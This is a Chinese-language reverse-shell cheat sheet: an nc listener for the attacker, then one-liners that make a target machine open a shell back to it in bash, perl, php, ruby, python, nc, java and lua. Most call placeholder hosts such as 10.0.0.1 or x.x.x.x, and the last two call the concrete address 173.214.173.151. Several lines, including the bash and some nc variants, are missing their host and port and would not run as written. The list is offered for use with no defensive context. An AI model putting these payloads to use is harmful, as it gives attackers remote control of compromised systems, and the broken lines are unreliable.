时间:2023-10-17 17:05:37

本机开启监听:

nc -lvnp 4444

nc -vvlp 4444

目标机器开启反弹

bash版本:

bash -i >& /dev/tcp/ >&
perl版本:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
php版本:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby版本:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
python版本:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
nc版本:
nc -e /bin/sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i >&|nc  >/tmp/f
nc x.x.x.x |/bin/sh|nc x.x.x.x 
java版本:
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
lua版本:
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
NC版本不使用-e参数:
mknod /tmp/backpipe p
/bin/sh </tmp/backpipe | nc x.x.x.x  >/tmp/backpipe

  /bin/bash -i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1
  mknod backpipe p && telnet 173.214.173.151 8080 0backpipe
